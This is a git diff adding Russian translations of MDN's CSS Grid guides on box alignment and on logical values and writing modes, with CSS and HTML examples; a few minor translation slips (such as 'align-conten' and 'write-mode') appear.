+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>Вы можете увидеть тот же пример, что и для {{cssxref ("align-items")}} ниже. На этот раз мы применяем свойство {{cssxref ("justify-self")}}.</p>
+
+<p>Опять же, значение по умолчанию <code>stretch</code>, за исключением элементов с внутренним соотношением сторон. Это означает, что по умолчанию элементы сетки будут покрывать их площадь сетки, если вы не измените ее, установив выравнивание. Первый элемент в примере демонстрирует это выравнивание по умолчанию:</p>
+
+<div id="alignment_3">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  justify-self: start;
+}
+.item3 {
+  grid-area: c;
+  justify-self: end;
+}
+.item4 {
+  grid-area: d;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_3', '500', '450') }}</p>
+</div>
+
+<p>Как и {{cssxref ("align-self")}} и {{cssxref ("align-items")}}, вы можете применить {{cssxref ("justify-items")}} к контейнеру сетки, чтобы установить значение {{cssxref ("justify-self")}} для всех элементов.</p>
+
+<p>Свойства {{cssxref ("justify-self")}} и {{cssxref ("justify-items")}} не реализованы в flexbox. Это связано с одномерным характером <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a> и может быть несколько элементов вдоль оси, что делает невозможным оправдание одного элемента. Чтобы выровнять элементы вдоль основной, встроенной оси в flexbox, вы используете свойство {{cssxref ("justify-content")}}.</p>
+
+<h2 id="Center_an_item_in_the_area">Center an item in the area</h2>
+
+<p>Объединив свойства align и justify, мы можем легко центрировать элемент внутри области сетки.</p>
+
+<div id="alignment_4">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 200px;
+  grid-template-areas:
+    ". a a ."
+    ". a a .";
+}
+.item1 {
+  grid-area: a;
+  align-self: center;
+  justify-self: center;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+ &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_4', '500', '480') }}</p>
+</div>
+
+<h2 id="Aligning_the_grid_tracks_on_the_block_or_column_axis">Aligning the grid tracks on the block, or column, axis</h2>
+
+<p>Если у вас есть ситуация, когда ваши дорожки сетки используют область, которая меньше, чем контейнер сетки, вы можете выровнять трассы сетки самостоятельно внутри контейнера. И снова это работает на блочной и встроенной осях с {{cssxref ("align-content")}} выравниванием дорожек на оси блока и {{cssxref ("justify-content")}}, выполняющим выравнивание по встроенной оси. Значения для {{cssxref ("align-content")}} и {{cssxref ("justify-content")}}:</p>
+
+<ul>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>space-around</code></li>
+ <li><code>space-between</code></li>
+ <li><code>space-evenly</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<p>В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.</p>
+
+<p>Свойство <code>align-content</code> применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки <code>start</code>, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:</p>
+
+<div id="alignment_5">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_5', '500', '520') }}</p>
+
+<p>Если я добавлю <code>align-conten</code> в мой контейнер со значением <code>end</code>, все треки перейдут в конечную строку контейнера сетки в размерности блока:</p>
+</div>
+
+<div id="alignment_6">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: end;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_6', '500', '520') }}</p>
+</div>
+
+<p>Мы также можем использовать значения для этого свойства, которые могут быть знакомы с flexbox; значения пространственного распределения <code>space-between</code>, <code>space-around</code> и <code>space-evenly</code>. Если мы обновим {{cssxref ("align-content")}} до <code>space-between</code>, вы увидите как выглядят элементы на нашем пространстве grid:</p>
+
+<div id="alignment_7">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_7', '500', '520') }}</p>
+</div>
+
+<p>Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.</p>
+
+<p>В приведенном ниже изображении я поместил сетку с <code>align-content</code>, со значением <code>start</code> рядом с сеткой, когда значение <code>align-content</code> имеет значение <code>space-between</code>. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:</p>
+
+<p><img alt="Demonstrating how items become larger if we use space-between." src="https://mdn.mozillademos.org/files/14729/7_space-between.png" style="height: 534px; width: 1030px;"></p>
+
+<h2 id="Justifying_the_grid_tracks_on_the_row_axis">Justifying the grid tracks on the row axis</h2>
+
+<p>На оси inline мы можем использовать {{cssxref ("justify-content")}} для выполнения того же типа выравнивания, что мы использовали {{cssxref ("align-content")}} для оси блока.</p>
+
+<p>Используя тот же пример, я устанавливаю {{cssxref ("justify-content")}} <code>space-around</code>. Это снова вызывает дорожки, которые охватывают более одного столбца, чтобы получить дополнительное пространство:</p>
+
+<div id="alignment_8">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+  align-content: space-between;
+  justify-content: space-around;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_8', '500', '500') }}</p>
+</div>
+
+<h2 id="Alignment_and_auto_margins">Alignment and auto margins</h2>
+
+<p>Другой способ выравнивания элементов внутри их области - использовать автоматические поля. Если вы когда-либо центрировали ваш макет в окне просмотра, установив правое и левое поле блока контейнера в <code>auto</code>, вы знаете, что автоматическая маржа поглощает все доступное пространство. Установив маржу в <code>auto</code> с обеих сторон, она выдвигает блок в середину, так как оба поля пытаются взять все пространство.</p>
+
+<p>В следующем примере я дал элементу 1 левое поле <code>auto</code>. Вы можете увидеть, как содержимое теперь переместится в правую часть области, поскольку автоматическая маржа занимает оставшееся пространство после того, как было назначено место для содержимого этого элемента:</p>
+
+<div id="alignment_9">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(3,100px);
+  height: 500px;
+  width: 500px;
+  grid-gap: 10px;
+  grid-template-areas:
+    "a a b"
+    "a a b"
+    "c d d";
+}
+.item1 {
+  grid-area: a;
+  margin-left: auto;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_9', '500', '500') }}</p>
+</div>
+
+<p>Вы можете видеть, как элемент выравнивается с помощью <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a>:</p>
+
+<p><img alt="Image showing auto-margins using the Grid Highlighter." src="https://mdn.mozillademos.org/files/14731/7_auto_margins.png" style="height: 1000px; width: 1000px;"></p>
+
+<h2 id="Alignment_and_Writing_Modes">Alignment and Writing Modes</h2>
+
+<p>Во всех этих примерах я работал на английском языке, который является языком слева направо. Это означает, что наши стартовые линии находятся сверху и слева от нашей сетки, когда мы думаем в физических направлениях.</p>
+
+<p>CSS Grid Layout и спецификация Box Alignment предназначены для работы с режимами записи в CSS. Это означает, что если вы работаете с языком справо налево, например на арабском языке, начало сетки будет верхним и правым, поэтому значение по умолчанию для <code>justify-content: start</code> будет состоять в том, что треки сетки начинаются с правой стороны сетки.</p>
+
+<p>Однако, если вы устанавливаете автоматические поля, используя <code>margin-right</code> или <code>margin-left</code>, или абсолютно позиционирующий элемент, используя <code>top</code>, <code>right</code>, <code>bottom</code> and <code>left</code> смещения, вы не будете соблюдать режимы записи. В следующем руководстве мы рассмотрим это взаимодействие между компоновкой сетки CSS, выравниванием ящиков и режимами записи. Это будет важно понимать, если вы разрабатываете сайты, которые затем отображаются на нескольких языках, или если вы хотите смешивать языки или режимы записи в дизайне.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html
new file mode 100644
index 0000000000..48eec35abe
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/css_grid,_logical_values_and_writing_modes/index.html
@@ -0,0 +1,498 @@
+---
+title: 'CSS grids, logical values and writing modes'
+slug: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes'
+translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes'
+---
+<p class="summary">В этих руководствах я уже затронул важную особенность grid layout: поддержка различных режимов записи, встроенных в спецификацию. В этом руководстве мы рассмотрим эту особенность grid и других современных методов компоновки, немного узнав о режимах записи и логических и физических свойствах, когда мы это делаем.</p>
+
+<h2 id="Логические_и_физические_свойства_и_ценности">Логические и физические свойства и ценности</h2>
+
+<p>CSS полон <strong>физических</strong> слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:</p>
+
+<pre class="brush:css">.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="item"&gt;Item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать <code>text-align: right</code> выравнивать текст вправо. В CSS есть также физические <strong>свойства</strong>. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.</p>
+
+<p>Мы называем эти ключевые слова и свойства <em>физическими</em>, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.</p>
+
+<p>Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (<code>text-align</code>) влево. Я добавил <code>dir = "rtl"</code> в элемент <code>html</code>, который переключает режим записи по умолчанию для документа на английском языке <code>ltr</code>. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.</p>
+
+<p><img alt="A simple example of text direction." src="https://mdn.mozillademos.org/files/14733/8_direction_simple_example.png" style="height: 354px; width: 1136px;"></p>
+
+<p>Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.</p>
+
+<h3 id="Логические_свойства_и_значения">Логические свойства и значения</h3>
+
+<p>Логические свойства и значения не делают предположения о направлении текста. Именно поэтому в Grid Layout мы используем ключевое слово <code>start</code> при выравнивании чего-либо с началом контейнера. Для меня, работая на английском языке, <code>start</code> может быть слева, но это не обязательно и слово <code>start</code> не имеет физического местоположения.</p>
+
+<h2 id="Block_и_Inline">Block и Inline</h2>
+
+<p>Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования <em>блока</em> и <em>встроенных</em> осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.</p>
+
+<p><img alt="An image showing the default direction of the Block and Inline Axes." src="https://mdn.mozillademos.org/files/14735/8-horizontal-tb.png" style="height: 256px; width: 500px;"></p>
+
+<h2 id="Режимы_записи_CSS">Режимы записи CSS</h2>
+
+<p>Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Это более подробно описано в этой спецификации, чем мы коснемся здесь.</p>
+
+<h3 id="writing-mode">writing-mode</h3>
+
+<p>Режимы записи - это больше, чем текст слева направо и справа налево, а свойство <code>writing-mode</code> помогает отображать текст в других направлениях. Свойство {{cssxref ("write-mode")}} может иметь значения:</p>
+
+<ul>
+ <li><code>horizontal-tb</code></li>
+ <li><code>vertical-rl</code></li>
+ <li><code>vertical-lr</code></li>
+ <li><code>sideways-rl</code></li>
+ <li><code>sideways-lr</code></li>
+</ul>
+
+<p>Значение <code>horizontal-tb</code> является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию <code>horizontal-tb</code>, а второй использует <code>vertical-rl</code>. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.</p>
+
+<div id="writing_1">
+<div class="hidden">
+<pre class="brush: css">.wrapper &gt; p {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    margin: 1em;
+    color: #d9480f;
+    max-width: 300px;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;p style="writing-mode: horizontal-tb"&gt;I have writing mode set to the default &lt;code&gt;horizontal-tb&lt;/code&gt;&lt;/p&gt;
+  &lt;p style="writing-mode: vertical-rl"&gt;I have writing mode set to &lt;code&gt;vertical-rl&lt;/code&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_1', '500', '420') }}</p>
+</div>
+
+<h2 id="Writing_modes_в_grid_layouts">Writing modes в grid layouts</h2>
+
+<p>Если мы сейчас рассмотрим пример компоновки сетки, мы увидим, как изменение режима записи означает изменение нашей идеи о том, где находятся Block и Inline Axis.</p>
+
+<p>В моем следующем примере сетка имеет три столбца и две строки. Это означает, что на оси блока есть три дорожки. В режиме записи по умолчанию сетка автоматически помещает элементы, начинающиеся в верхнем левом углу, перемещаясь вправо, заполняя три ячейки на встроенной оси. Затем он переходит на следующую строку, создавая новый дорожку Row и заполняя больше элементов:</p>
+
+<div id="writing_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+  &lt;div class="item5"&gt;Item 5&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_2', '500', '330') }}</p>
+</div>
+
+<p>Если мы добавим <code>writing-mode: vertical-lr</code> в контейнер сетки, мы увидим, что блок и встроенная ось теперь работают в другом направлении. Ось блока или столбца теперь проходит через страницу слева направо, Inline запускается вниз по странице, создавая строки сверху вниз.</p>
+
+<div id="writing_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+  &lt;div class="item5"&gt;Item 5&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('writing_3', '500', '330') }}</p>
+</div>
+
+<p><img alt="A image showing the direction of Block and Inline when writing-mode is vertical-lr" src="https://mdn.mozillademos.org/files/14737/8-vertical-lr.png" style="height: 360px; width: 257px;"></p>
+
+<h2 id="Логические_значения_для_выравнивания">Логические значения для выравнивания</h2>
+
+<p>Когда блок и встроенная ось могут изменять направление, логические значения свойств выравнивания начинают иметь больше смысла.</p>
+
